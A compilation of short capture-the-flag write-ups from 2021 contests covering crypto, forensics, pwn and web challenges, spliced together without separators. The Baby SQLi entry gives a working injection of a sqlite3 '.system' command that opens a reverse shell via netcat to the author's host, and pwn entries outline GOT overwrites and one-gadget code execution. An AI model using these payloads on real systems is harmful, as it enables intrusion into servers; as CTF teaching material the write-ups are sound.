[writeup](https://jsur.in/posts/2021-03-07-zer0pts-ctf-2021-crypto-writeups#three-aes)
tldr;- send $(a,b,c,d) = (m, m^{-1}, t, -1)$- this makes it easy to distinguish what the two key bits are from the given $(x, y, z)$ [writeup](https://jsur.in/posts/2021-03-07-zer0pts-ctf-2021-crypto-writeups#ot-or-not-ot)
# Sensitive Material **Category**: Misc \**Points**: 995 (3 solves) \**Author**: BananaMan ## Challenge We have received this redacted image from a very sensitive report. Surelyusing blur is an effective redaction method? ![image.png](image.png) ## Solution Check metadata:```File Name : image.pngFile Size : 18 kBFile Type : PNGImage Width : 1473Image Height : 145Color Type : RGBSoftware : GreenshotImage Size : 1473x145``` Wtf is [Greenshot](https://github.com/greenshot/greenshot)? Turns out it's ascreenshot tool for Windows. It's pretty fancy and even has a built-inpixelation feature! ![gs.png](gs.png) Then I remembered I saw this [Depix](https://github.com/beurtschipper/Depix)tool on Twitter a few weeks ago. Maybe it'll solve the challenge for me!WRONG I wasted hours playing with it and in the end it just gave me this: ![dpo.png](dpo.png) Not helpful, but looking at the image for the 9999th time I realized if Isquinted my eyes it looked like:```union{https://www.youtube.com/watch?v=xxxxxxxxxxx}``` To check if that was true, I tried to reproduce the pixelation effect with myown text and see if it matched `image.png`. I actually got very lucky herebecause I almost immediately got something very similar: ![comp.png](comp.png) I had 150% display scale on a 2560x1440 screen with Notepad using Consolas 11pt (the default). Now that I could reproduce the pixelation my plan was totry different characters one by one and pick the best visual match. At first I tried doing this by hand:1. Open Notepad2. Type in `union{https://www.youtube.com/watch?v=Yxxxxxxxxxx}`2. Take a screenshot3. Pixelate it4. Compare with `image.png` The first character was obviously `Y`, but the second was harder to tell: itkind of looked like one of these: `L 1 l f t`, so I tried each one and putthem into GIMP: ![scnd.png](scnd.png) WTF?? They look so similar I can barely tell them apart. Clearly I need a wayto precisely diff them. Actually, while we have GIMP open let's do apixel-wise subtraction between `image.png` and our candidates: ![scndc.png](scndc.png) The darker it is, the closer it matches. That makes the first row `L` theclosest match here. But tbh when I eyeball it, it doesn't seem that muchworse than the other ones. I probably need to check all the other printableASCII chars to make sure. Time to automate stuff. My script in `solve.py` basically does this:![scndact.png](scndact.png) The idea is pretty simple but the implementation is complicated: - Generating an image from the font using PIL didn't work well. This means I had to manually take a screenshot each time. - In order to solve the challenge in a reasonable amount of time, I needed to include as much text as possible in the screenshot. - I found that using every line in the Notepad window gave me 47 lines. This was good enough to include almost all possible letters. - In order for two pixelated images to match, the pixelation effect need to have the same offset. Since the square size is 5px, we need to pick the right X and Y offset, which I did through with trial and error. - Since the input to my script is a screenshot of lines of text in Notepad, I needed to perfectly cut each line out of the screenshot so that they all had the same offset. - Each line was then padded, pixelated, and diffed individually with `image.png`. Finally after several hours fighting with PIL and NumPy, I got some results. So according to my script, which character best matches the 2nd character?SURPRISE IT'S ACTUALLY `S` LOL. Here are the characters ranked from best toworst (somehow `L` is actually below average):```S 5 3 t E 4 6 8 R 9 F B A k i Z X I 1 0 G K f 7 T 2 J l L b h N C Y d O P j W D M H U V Q g``` I repeated this for the rest of the unknown characters in the flag and got:```Y |S | 5 3 t E 4 6 8 R 9 F B A k i Z X I 1 0 G K f 7 T 2 J l L b h N C Y d O P j W D M H U V Q gw | u x o v s a 4 c q d i m n z k p b y 6 e r 1 5 h l 8 3 t - 0 2 9 f g 7 j _H | M W N h U P b 0 k F d K G R O 6 9 E B 8 D S V L X A 5 Y C Z Q 7 4 2 3 t f i T 1 I J l jr | v x n f c s - F e y a u k h o z V t 6 w m b 3 i 9 E L X d 7 H T 8 U J N 1 l 2 I C Z M D _T | 7 J I Z Y l 3 1 2 9 t S 5 f E i G O K X R j V 0 D F P C U 6 k 8 d B A 4 N h b H M L W Q gf | F t 5 E 3 7 T 9 Y S 8 6 4 R J P B k i 2 I K 0 Z A X C 1 G l L V d j b O h N D W M U g H Qc | v x s w u r o n k L e y z t V a i h q U E d m - A b 6 p 5 C H 4 F f I l 1 3 9 D 8 0 2 J 7 g ji | t S 5 1 4 2 l 3 I J 6 d Z E 9 8 A f 0 7 G K B k T X j C Y R V L b F O N W g P D h U M H Qk | t i h b K 6 L X S E Y 5 V U 9 1 f l H C A N d F B 0 3 I W 8 Z 4 R G D P T O 2 J M 7 g j QU | G K E t k V b 6 S A 5 8 d C X N W L B O 0 Z 2 h D i 9 Y 3 1 l R 4 J F H I Q P f 7 T M g j``` So that means the flag must be this RIGHT??```union{https://www.youtube.com/watch?v=YSwHrTfcikU}``` WRONG \*INTERNAL SCREAMING\* ![yt.png](yt.png) I was going to bruteforce youtube URLs but why not ask the admin first: ![dc.png](dc.png) THANK FUCK finally got first blood after hours of work. ![yt1.png](yt1.png) Props to BananaMan and Union CTF for this rollercoaster of a challenge!
# Block We see 2 files in the task folder: sequence.logicdata and dump.bin.We googled the first file extension and found that it can be opened with a saleae logic tool. This tool and loaded file can be seen on the Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-27-45.png) Figure 1 – Saleae logic and loaded into this program file sequence.logicdata Using the settings from Figure 2, we were able to decode a message from trafic. On the Figure 3 a message can be seen. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-27-50.png) Figure 2 – Analyzer settings ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-27-55.png) Figure 3 – Decoded message The resulting message looks like this: ```Init' 'W25Q128FV' 'SPI' 'Comm..xy' 'sector:xCOMM' 'page:yCOMM' 'page_offset:xy 14 17 27 11 04 15 19 40 21 51 18 06 49 02 31 50 28 41 32 35 24 39 42 36 45 03 43 20 00 01 09 44 38 07 22 08 13 23 37 10 47 05 33 26 46 25``` We exported the data and puts it into Python script. The task description says that 16 sectors are present in the memory dump. The title of the device is W25Q128FV, we googled it, and revealed the page size is equals to 256 bytes. The dump is 65536 bytes long. So, we can analyze the transmission: each byte offset can be calculated as 4096x (sectors), + 256y (pages) + xy. ```Pythondata = "14\r\n17\r\n27\r\n11\r\n04\r\n15\r\n19\r\n40\r\n21\r\n51\r\n18\r\n06\r\n49\r\n02\r\n31\r\n50\r\n28\r\n41\r\n32\r\n35\r\n24\r\n39\r\n42\r\n36\r\n45\r\n03\r\n43\r\n20\r\n00\r\n01\r\n09\r\n44\r\n38\r\n07\r\n22\r\n08\r\n13\r\n23\r\n37\r\n10\r\n47\r\n05\r\n33\r\n26\r\n46\r\n25".split('\r\n')b = open('dump.bin', 'rb').read()for i in data: print(chr(b[int(i[0])*4096+int(i[1])*256+int(i)]), end='')``` Flag: HTB{M3m0ry_5cR4mbl1N6_c4n7_54v3_y0u_th1S_t1M3}
tl;dr DOM clobber to disable trustedTypes and overwrite callback, use trick to exapnd character limit to more than 20 characters. [original writeup](https://blog.jimmyli.us/articles/2021-03/Zer0ptsCTF-WebExploitation#simple-blog)
With challz, each RGB pixel in the figure corresponds to hex code. Example RGB :` (137 ,80,78)` is equivalent to hex code `89504E` . It can be checked [here](https://htmlcolorcodes.com/). And this hex code value could be equivalent for hex codes of other formats. For this challenge it is the format for another image file. So we need to find the RGB code that starts for the signature of an image file. Then extract the next hex codes until the image file end sign is met. This is my code solving:```#usage : python3 sol.pyfrom PIL import Imagefrom colormap import rgb2heximport reimport binascii rex = "89504E.*AE426082"new_im = "89504E"wp = open("flag.png","wb")an_image = Image.open("pip.png")sequence_of_pixels = an_image.getdata() sequence_of_pixels = an_image.getdata()list_of_pixels = list(sequence_of_pixels) wr = Falsefor item in list_of_pixels: if wr == True: hex_ = rgb2hex(item[0], item[1], item[2]) new_im += hex_ # finding start hex code for image if str(item[0]) == "137" and str(item[1]) == "80" and str(item[2]) == "78": wr = True new_im = new_im.replace("#","")new_im = re.findall(rex,new_im)#get hex code correct with format of imagedata = binascii.a2b_hex(new_im[0])wp.write(data) ```
# Baby SQLi **Category**: Web \**Points**: 170 (30 solves) \**Author**: ptr-yudai ## Challenge Just login as admin. http://web.ctf.zer0pts.com:8004 \Attachments: `baby_sqli.tar.gz` ## Solution Despite being called Baby SQLi, this challenge was very hard for me. Here's the challenge:```pythonimport flaskimport osimport reimport hashlibimport subprocess app = flask.Flask(__name__)app.secret_key = os.urandom(32) def sqlite3_query(sql): p = subprocess.Popen(['sqlite3', 'database.db'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) o, e = p.communicate(sql.encode()) if e: raise Exception(e) result = [] for row in o.decode().split('\n'): if row == '': break result.append(tuple(row.split('|'))) return result def sqlite3_escape(s): return re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s) @app.route('/')def home(): msg = '' if 'msg' in flask.session: msg = flask.session['msg'] del flask.session['msg'] if 'name' in flask.session: return flask.render_template('index.html', name=flask.session['name']) else: return flask.render_template('login.html', msg=msg) @app.route('/login', methods=['post'])def auth(): username = flask.request.form.get('username', default='', type=str) password = flask.request.form.get('password', default='', type=str) if len(username) > 32 or len(password) > 32: flask.session['msg'] = 'Too long username or password' return flask.redirect(flask.url_for('home')) password_hash = hashlib.sha256(password.encode()).hexdigest() result = None try: result = sqlite3_query( 'SELECT * FROM users WHERE username="{}" AND password="{}";' .format(sqlite3_escape(username), password_hash) ) except: pass if result: flask.session['name'] = username else: flask.session['msg'] = 'Invalid Credential' return flask.redirect(flask.url_for('home')) if __name__ == '__main__': app.run( host='0.0.0.0', port=8888, debug=False, threaded=True )``` The `sqlite3_escape()` function will add a backslash to any non-alphanumericcharacter, excluding `.` (which will be useful later). The issue here is that in SQLite, quotes are escaped by doubling them up ratherthan using a backslash.```sqlite> SELECT "I ""like"" beans";I "like" beanssqlite> SELECT "I \"like\" beans";Error: unrecognized token: "\"``` Ok, let's try to inject an `OR ""=""` to make it return true.```pythonimport requests url = "http://localhost:8004"username = '" OR ""='assert len(username) <= 32data = {"username": username, "password": "hi"}res = requests.post(f"{url}/login", data)print(res.text)``` Turns out it's not that simple. Our SQL query ends up looking like this:```SELECT * FROM users WHERE username="\" OR \"\"\=" AND password="8f434346648f6b96df89dda901c5176b10a6d83961dd3c1ac88b59b2dc327aa4"; Error: near line 1: unrecognized token: "\\"\n``` Though we can escape the quotes, the backslashes always result in invalidsyntax, which causes SQL to throw an error. I was stuck here for a while until Ilooked more closely at this: ```pythonp = subprocess.Popen(['sqlite3', 'database.db'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)``` Now why the heck would they do that instead of using the `sqlite3` module? ThenI realized that since our output goes into the `sqlite3` command line shell, wecan inject dot commands like `.dump`, `.print`, and crucially, `.system`. Let's try it:```pythonusername = '";\n.system id\n'``` It works! On my local setup, I printed the value of `o` to see this:```babysqli_1 | output: uid=1000(app) gid=1000(app)``` With some trial and error, I found that I can also use special characters like(`-`, `,`, and `|`) because the `sqlite3` command shell doesn't care aboutbackslashes. But there's another catch:```pythonp = subprocess.Popen(['sqlite3', 'database.db'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)o, e = p.communicate(sql.encode())if e: raise Exception(e)``` If `stderr` contains anything, then an exception will be thrown and it won't let uslog in. The only way around this is to spawn a reverse shell like this:```nc $RHOST $RPORT -e sh``` Let's try it:```pythonusername = '";\n.system nc 34.67.42.222 6666 -e sh\n'``` But this doesn't work because `username` is now 38 characters and the max is 32.We can use a single digit port to bring us down to 35 characters. What else canwe shorten? Then I remembered that I can use the IP in[decimal format](https://www.ipaddressguide.com/ip). So `34.67.42.222` becomes `574827230`, and our payload is now exactly 32 characters! Final script:```pythonimport requests url = "http://web.ctf.zer0pts.com:8004"username = '";\n.system nc 574827230 1 -e sh\n'assert len(username) <= 32data = {"username": username, "password": "hi"}res = requests.post(f"{url}/login", data)print(res.text)``` On my server:```plushie@instance-1:~$ sudo -sroot@instance-1:/home/plushie# nc -lvnp 1listening on [any] 1 ...connect to [10.128.0.2] from (UNKNOWN) [165.227.180.221] 45301lsdatabase.dbserver.pytemplatescat templates/index.html <html> <head> <meta charset="UTF-8"> <title>Welcome</title> </head> <body> <h1>Welcome, {{name}}!</h1> {% if name == 'admin' %} zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?} {% else %} No flag for you :( {% endif %} </body></html>``` zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?} No flag for you :(
# OneShot ## Challenge### DescriptionResult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Not stripped Result of checksec* RELRO : Partial RELRO* Canary : Disable* NX : Enable* PIE : Disable libc version: 2.31 We can allocate a chunk whose size is less than (4 * 0x100). And we can also write 4 bytes at chunk\[offset\] only once (offset is given by user input). Do we really allocate and write only once???### Exploit Return value of calloc() is not checked. It is vulnerable. In addition, offset given by user input is not check too. It is also vulnerable. If we give calloc() "-1", calloc() returns 0. So we can overwrite got area because PIE is disable. My exploit step is ... #### make infinite loop Overwriting got_puts to the address of main. #### enable allocate chunks larger than limitation(> 4\*0x100) Overwriting got\_exit to the address of some gadget(only execute "ret;") #### libc leak If we allocate some extra large chunks (For example 0x22000), chunks are always located just before the address of libc. By using this malloc(calloc) feature, we can also AAW for libc. In order to leak the address of libc, I wrote 4bytes at \_IO\_2\_1\_stdout+4, overwrote got\_setbuf to printf and call setup() (printf(stdout) was executed).```0x7ffff7fb76a0 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7fb77230x7ffff7fb76b0 <_IO_2_1_stdout_+16>: 0x00007ffff7fb7723 0x00007ffff7fb77230x7ffff7fb76c0 <_IO_2_1_stdout_+32>: 0x00007ffff7fb7723 0x00007ffff7fb77230x7ffff7fb76d0 <_IO_2_1_stdout_+48>: 0x00007ffff7fb7723 0x00007ffff7fb77230x7ffff7fb76e0 <_IO_2_1_stdout_+64>: 0x00007ffff7fb7724 0x0000000000000000``` #### one gadget rce Distributed libc has following one gadge RCE.```0xe6e79 execve("/bin/sh", rsi, rdx)constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL ```The registers before calling scanf() in main() always satisfies the condition. So I overwrote got_scanf to one_gadget RCE. My exploit code is [solve.py](https://github.com/kam1tsur3/2021_CTF/blob/master/zer0pts/pwn/oneshot/solve.py). ## Reference twitter: @kam1tsur3
Simple regex challenge. `grep -oP flag\\{[a-z_]{16}\\} haystack.txt` To better understand this regex, here is a [link](https://jex.im/regulex/#!flags=&re=flag%5C%5C%7B%5Ba-z_%5D%7B16%7D%5C%5C%7D)
tldr;- `m` is odd, so `m//2` becomes `(m-1)/2`- Franklin-Reiter related-message attack [writeup](https://jsur.in/posts/2021-03-07-zer0pts-ctf-2021-crypto-writeups#warsamup)
# Not Beginner's stack ## TLDR* BOF * SOP(Sigreturn Oriented Program) ## Challenge### DescriptionResult of file command* Arch : x86-64* Library : Statically linked (No library)* Symbol : Not stripped Result of checksec* RELRO : No RELRO (No library)* Canary : Disable* NX : Disable* PIE : Disable In this challenge, "call" and "ret" instruction is not used. Intead, 2 macros is defineded in main.S. ```%macro call 1;; __stack_shadow[__stack_depth++] = return_address; mov ecx, [__stack_depth] mov qword [__stack_shadow + rcx * 8], %%return_address inc dword [__stack_depth];; goto function jmp %1 %%return_address:%endmacro %macro ret 0;; goto __stack_shadow[--__stack_depth]; dec dword [__stack_depth] mov ecx, [__stack_depth] jmp qword [__stack_shadow + rcx * 8]%endmacro```Original subroutine is implemented. Return address is stored on bss area, not on stack. ### Exploit This challenge has a simple buffer overflow vulnerabirity. ```notvuln:;; char buf[0x100]; enter 0x100, 0;; vuln(); call vuln;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write;; read(0, buf, 0x100); mov edx, 0x100 lea rsi, [rbp-0x100] xor edi, edi call read;; return 0; xor eax, eax ret vuln:;; char buf[0x100]; enter 0x100, 0;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write;; read(0, buf, 0x1000); mov edx, 0x1000 ; [!] vulnerability lea rsi, [rbp-0x100] xor edi, edi call read;; return; leave ret```read() is called at 2 times. First read() in vuln() can overwrite old\_rbp stored on stack. Second read() in notvuln() can trigger AAW because read buffer is based on rbp value. I overwrote \_\_stack\_shadow to control RIP. I didn't notice that we could execute shellcode :( Instead, I used Sigreturn Oriented Program to get shell. My exploit code is [solve.py](https://github.com/kam1tsur3/2021_CTF/blob/master/zer0pts/pwn/not_beginners_stack/solve.py). ## ReferenceSigreturn Oriented Programing(In Japanese)* http://inaz2.hatenablog.com/entry/2014/07/30/021123 twitter: @kam1tsur3
# Nuclear Disaster In this task we were given the creds of ssh user. Connecting and looking at the files in the home directory we got the following challenge specifications: ```n: 0x690ee43793bc1f34b9e44f7aeb91063d92292be0884816718ed836efeec60744d68f73c0dcebe42837a7d316dd0ab8589b461d034b0e6468e734b2b741c2ce7d50ca0e619114d758ff1973e57f843f22b0cb14af7694763a774f306c4f106616f173e2b4bdb49ef1cc2553c9dd3dc1877f7f87f106d01052faae22acfd6f3fbbfdb41be6192a0e49810a7c0874d634bcd07627e2a64f596e4356212f38628bb5416a6008e2ef0763a0da97475d7d5a1ee15842a4db54987b776f36120bf851b70c7edd197857297193c39c69d3cefe330029e57baae71f57a8fa3ffe3392855d7eca3861aa60eaabf93244b6659c9838680829eeba788dba871eedaf1f48e6ed00c1d5c12ace91edfab730d88180f2cab20beca486f73bb39ff73120a7d80c1a4bdfea3507009737977262a534a6513f4fb2db9a626f33d50a16f11098ada1d8f73043e616c298ce5bcc657120b83daa7e35263d0ff9dae602df9e00b1da0b0beacb00ee680ca890f8949f9ebd723c81eb789309a007301e6a621d431d367577e: 0x257ae0a7b65e25b4e6de59c94259c86238666858419de8565c6bfc5ce2c7964bf013918b888341361ab61143a3848e34c8609b8eed9f44bbad6ec5c2e9c5d1fdcf79038a1fcb87aad9cae2cd885e2f42758b3ccc1efd37ebddc4462f86af68c199ae6015600077ddf6b8e2dfa5ce5b9701aebbd2d1385171c300a2823d72511f5663692b0c33c7d5ccdc9acd255a0ef7d644d94670a7af40a6829494e8a8371657b8b96618b4323030713b32c29b159ebddd7a0af42c64c63b5d92a8b8ff493b0418828206fbb5663d35d7d42d03e54b37e08f858296234d85d1eb72ad6fdff7115799c4901635cfd2ac83dda30b69fd9fbb9d1bddf38fd9c62e01776ab3c155d0e3fecefb7b9801e0cbc477b10dcd25f872c0f3172cdf05f27a17ea6d418f77bec591e1828b3830d35a3217cf59c7c384eee460579fff5d61f368bf453b142952456db7934d0063c0f46d9b5a8b35a7e7a4b211c532b7ce7ca5c09e45e241f87eaf63e0ecd35ece6275509c999415138daa6530297564e32b298ddaf62d87bfa: 0xd05e30b62b9c8a473b7513ac2c8b372d58092733a463458f749b2db4544a868344f79312dd03c366f6855f12db68881d3c57ba857c8c4927a93e8e59569ba1c8eada720adcc818b8fb92c3e0b23ab26704d7859c16ef09c9d2692f0132295fa8a67e7936d1a7d53872c3a51e7115cb952c3ccbbfeb8d29c2f5b58ecdb799b423ebeca3725ff317682750610e5986b9c0fb385feacdbfda4082b8e820a7651e9569642d598c50050176019ade5ef446b5165b8280cf0c3f33efed0d13298aa6ab628669493d12bbbb6e80bc220b303874f0b4acd8a61319215fb44decae0c2f116e0710d3b022baeb6ee294206310e42dd51c1de91de872f1adf5c395a674cf05g: 0x23e774b678534aca7671d71a4f87dca2274e161b1f8561ab2ad51d12333d901f054759281a8bc1f9686184b5487e8353813dc0938e1570aed83f34857744fbc5ea856687dcac06c53e3f9fc7e973cc94efb17ba85ecc00109e289b157172a0cad89ef4b6d795271e4e42aca26f0a0ee3cd71e2f561657fca7ddcb0fb45bb4d0491dca103cb5a4bfbbbf086bb58f73ae4f0fbd5fd8b2baf3606aca6937f0cd4a764be6ab44a014c6be5d2614a9de6c6548ce86588b7a3cff8e326429c9c2dcdd8595d9c5703f91c07b835721d5b59d9ba26e3f4d34f7e38a2d39602259cb024da307715f61a0c07ea4ce47eb19356109e4335820faa5b6e1f68fdcd4780c92a1cc1: 0x48eeea8b6d8ee7b7264115858c883005b93a515db96c33329f22153b5646d771aee09fd5e34338640ddd3bb933e1eda111625f527725d3e3b8a7990560a4a50271fce090fcd1f525a9ddb5ceac20646afa5d383a84eab00c88fb6041899ebc1a6ce0b10a2fe00a7b6f7c0a23d6bb4c02237a4eaf7a8b8a748e1273a873d8b0b48526a6b96675163bd20d452050d530bd2cad6849a7087663a3aa3d11a2063716e4bd0279f1c369538d491b891301126310abb5b3b2ed1c2d4547fecd0feba29fa1a14b641e2cb5669cc6225a0f9c573ef3dd2a4b8f820afe63a639538d4dc52c1b76380ed3f6e9507c40f1a68412585acea0e5a8b5f00bfb15187ed84a65db1dba5e2c2a8234cc3acb15b354c3072e5f9e330f12aa6a323e4f98185050a161621fcaa6a0067697420c5a9509ed35724a623e36963fa80a5831d6925b2a89be18935147cfc2d390cbe39f3e44a4951f3a6c078c10d2c241c6e9a1e84188b36abee3c045d61325ba73b12c54844a2debf93d2d5374679f9aaa668278893e0ef65cc2: 0xb9aa388ec95aa402d590ffd57ccb8cc1c741060cf4a33147ff5b030b8ab160d7475befb59a5221ab48a4567977f40ce5a60ec32ed35d21f05f3d9a3c4f0cc129f8bb71193cd14752e9b446132fca31402fc38d32b41b5cd98b8d56b03e360ab778158f2b529b95adcef7014fb7914958f73eb866232d58c06034c9050e94dd47bca4b43b7d3c9990171b68fced26ec22779a229cbd5d89b46110bfb17efcd68a6f786502a3e3e94dfac11b30108109ed331d2b3d69a70716d48420f0c1b43e954a09d1bf8a47f73360db789df6fdfc5ae360fc6d2d5952e41f1ce4def3ce2454007711c7c0fd4359c30fea7357e6ec1c5e61a42e908c0d01cb145795b44bf505DROP US some ETH and you may prevent a nuclear disaster:0x7b1cA37A0ad47B14e55a1E0d9d882999c0DF1Ee0``` And the script to generate ciphertext and encryption parameters: ```Pythonfrom Crypto.Util.number import *from secret import rootdef egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % mdef generate_keys(nbit): p, q, r = [ getPrime(nbit) for _ in range(3)] n = p * q * r phi = (p-1)*(q-1)*(r-1) d = getPrime(1 << 8) e = modinv(d, phi) a = getPrime(2*nbit) while True: g = getRandomRange(2, a) if pow(g, 2, a) != 1 and pow(g, a//2, a) != 1: break pub_key = (n, e, a, g) priv_key = (n, d, a, g) return pub_key, priv_keydef encrypt(m, pub_key): n, e, a, g = pub_key k = getRandomRange(2, a) K = pow(g, k, a) c1, c2 = pow(k, e, n), (m * K) % a return c1, c2password = bytes_to_long(root)pub_key, priv_key = generate_keys(1024)c1, c2 = encrypt(password, pub_key)f = open('your_last_hope.txt', 'w')f.write('n: ' + hex(pub_key[0]) + '\n')f.write('e: ' + hex(pub_key[1]) + '\n')f.write('a: ' + hex(pub_key[2]) + '\n')f.write('g: ' + hex(pub_key[3]) + '\n')f.write('c1: ' + hex(c1) + '\n')f.write('c2: ' + hex(c2) + '\n')f.write('DROP US some ETH if you know what\'s good:\n0x7b1cA37A0ad47B14e55a1E0d9d882999c0DF1Ee0\n')``` To recover private exponent, we used the Wiener attack. This can be seen on the Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-00-19.png) Figure 1 – Wiener attack result Knowing private exponent, we recovered encrypted password, using the following code: ```Pythonk = pow(c1, d, n)K = pow(g, k, a)print(k)print(K)print(c2 * inverse(K, a) % a)ans = c2 * inverse(K, a) % aprint(long_to_bytes(ans))``` Output: ```1809884635287664157849262170363762488033142871442468690507910176459228018164409333146269093832159233549548405876896998672841173218057089483774578884318399599182324698534312375708045368995124427652355770732767631335908036077515090328695660251162078515109976070507815035423848425100246023467742296276264130658664583478190913106095767893357505403402255761410311029916008269290809651018100584097113205534527887036803389921350752899443097347190059737651933404240005335251600696103488420931727692208025214761698321568645784839432393886141914943851880304956380542388455869073254721020398336851959276061590015093992138183275840534922155698286682691078007864254815623775742358389390156941566578997514032026465431577441992056209625707746369691705120213831824007756600208920514764511283448801845900675761676746890760219140886667767903925866712751616492153770326019909047016678640380438393606618934371352064530797374994983643196402666602717361888317731811149380090987966531965924896110091774921779648759449454734223686981690040916063173610596172096684338297298761743859374599811514052104553277420329667819769538523366688919275170604123083633508988895584219673110879998550347730112785048677993448898816953021957546192403975133022334684006430919974483715249980043692044294085480048514838642b'3xtr4H34t1nr34ct0r'``` At first, we did not exactly know what to do with recovered password. But then looking at the generator script we got that it is password from root user: “from secret import root”.Then we used recovered password to connect as root and recovered the flag from flag.txt file. This can be seen on the Figure 2. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-01-11.png) Figure 2 – Connecting to SSH as root user and displaying the flag Flag: HTB{s3cur3_y0ur_cr1t1c4l_1nfr4s7ruc7ur3}.
This was more of a guessing challenge than a crypto challenge. We are given 10 seemingly random integers and asked to predict the next one. The numbers are all less than 2^31, so it is most likely a 31-bit PRNG. The simplest and most well-known class of PRNGs is Linear Congruential Generators, or LCGs for short. LCGs usually have 3 parameters: the modulus, the multiplier, and the increment, or `m`, `a` and `c` for short. All LCGs produce their next output with the following formula: ```next = (a * prev + c) % m``` Now, if we know `m`, we can compute the parameters of the LCG by observing 3 consecutive outputs from it, like this: ```y = a*x + cz = a*y + cz-y = a*y+c - a*x - c = a*(y-x)a = (z-y) / (y-x)c = z - a*y``` Note that all of these are done modulo `m`. We can divide by multiplying with the modular multiplicative inverse. This will give an answer for every set of 3 outputs. We can verify it by also computing the parameters for a different set of 3 outputs and checking that we get the same multiplier and increment. Now, all that remains is to find `m`. Since all input numbers are between 0 and around 2 billion, it's reasonable to assume that `m` is around `2^31`. However, if we try exactly `2^31`, we find that we get a different multiplier for each set of 3 outputs, so this isn't the correct modulus. LCGs often have a prime modulus though (it helps with increasing the period), so we can also try `2^31-1`. With that, we find `a = 16807` and `c = 0`. These are consistent for every set of 3 outputs, so they are the correct parameters for the LCG. ```pyx = 1875578086y = 2075920736z = 1980480790 m = 2**31-1 a = (z-y) * pow(y-x, -1, m) % mc = (z - a*y) % mprint("next output after z: ", (a*z+c) % m)# in this example, the next output is 2091592677``` Entering this gives us the flag. Also, these parameters happen to match the LCG used in C++'s `minstd_rand0` algorithm, so you might have solved it by trying random PRNGs until one matched the sequence in the challenge.
The PRNG is a [B.B.S.](https://en.wikipedia.org/wiki/Blum_Blum_Shub)-like generator, with update function $F(v) = v^2 + b$ over $\\mathbb{Z}/p\\mathbb{Z}$. We're given 2/3 of higher-order bits of the first two outputs, and the FLAG is Xor-ed with the next five outputs. Denote the unknown parts as $x_1$, $x_2$, we have $$\left\\{\begin{aligned}v_0 &= 2^{n-k} w_0 + x_0 \\\\v_1 &= 2^{n-k} w_1 + x_1 \\\\v_1 &\equiv v_0^2 + b \pmod{p}\end{aligned}\right.$$ Expand and rearrange, we get $$2w_0 \times x_0 + (w_0^2-w_1+b) \times 1 - p\times k = x_1 - x_0^2,$$ (this $k$ is not that $k$, don't mind) Here we *hide* the variable $x_1$ in the right term, and see it as a new variable. Then we can solve it with LLL algorithm over 3-rank basis. Write it in matrix form:$$\left(\begin{matrix}x_0 \\\\1 \\\\-k\end{matrix}\right)^T \times\left(\begin{matrix}1 &0 &2w_0 \\\\0 &1 &w_0^2-w_1+b\\\\0 &0 &p\end{matrix}\right) =(x_0, 1, x_1-x_0^2)$$ Next we need to adjust the scale to make the norm satisfy the Minkowski's bound (also make sure the second element is $1$) Here I choose $A = p / X$, $B = p$, $C = p / X^2$, then $$norm < \sqrt{3} p \\\\det = p^4 / X^3$$ Since $X \\approx p^{1/3}$, it does. After we found $x_0$, it's easy to get $x_1$. Then the PRNG is broken. exp.sage :```pythonp = 86160765871200393116432211865381287556448879131923154695356172713106176601077b = 71198163834256441900788553646474983932569411761091772746766420811695841423780m = 88219145192729480056743197897921789558305761774733086829638493717397473234815w0 = 401052873479535541023317092941219339820731562526505w1 = 994046339364774179650447057905749575131331863844814 nbits = 256d = 2k = ceil(nbits * (d / (d + 1)))w0 <<= (nbits - k)w1 <<= (nbits - k) AA = p >> (nbits-k)BB = pCC = p >> (2*(nbits-k)) M = Matrix(ZZ, [ [AA, 0, CC*2*w0], [0, BB, CC*(w0^2-w1+b)], [0, 0, CC*p]]) b1 = M.LLL()[0]if b1[0] < 0: b1 *= -1assert b1[1] == BB x0 = ZZ(b1[0] / AA)# x0 = 1319495720667326863431558x1 = ZZ(b1[2] / CC) + x0^2# x1 = 1811790233058988426434106 v0 = w0 + x0v1 = w1 + x1assert v1 == (v0^2 + b) % p``` task.sage :```pythonfrom Crypto.Util.number import*from flag import flag nbits = 256p = random_prime(1 << nbits)Fp = Zmod(p)P.<v> = PolynomialRing(Fp) b = randrange(p)d = 2F = v^2 + b v0 = randrange(p)v1 = F(v0) k = ceil(nbits * (d / (d + 1)))w0 = (v0 >> (nbits - k))w1 = (v1 >> (nbits - k)) # encryptm = bytes_to_long(flag)v = v1for i in range(5): v = F(v) m ^^= int(v) print(f"p = {p}")print(f"b = {b}")print(f"m = {m}")print(f"w0 = {w0}")print(f"w1 = {w1}")```
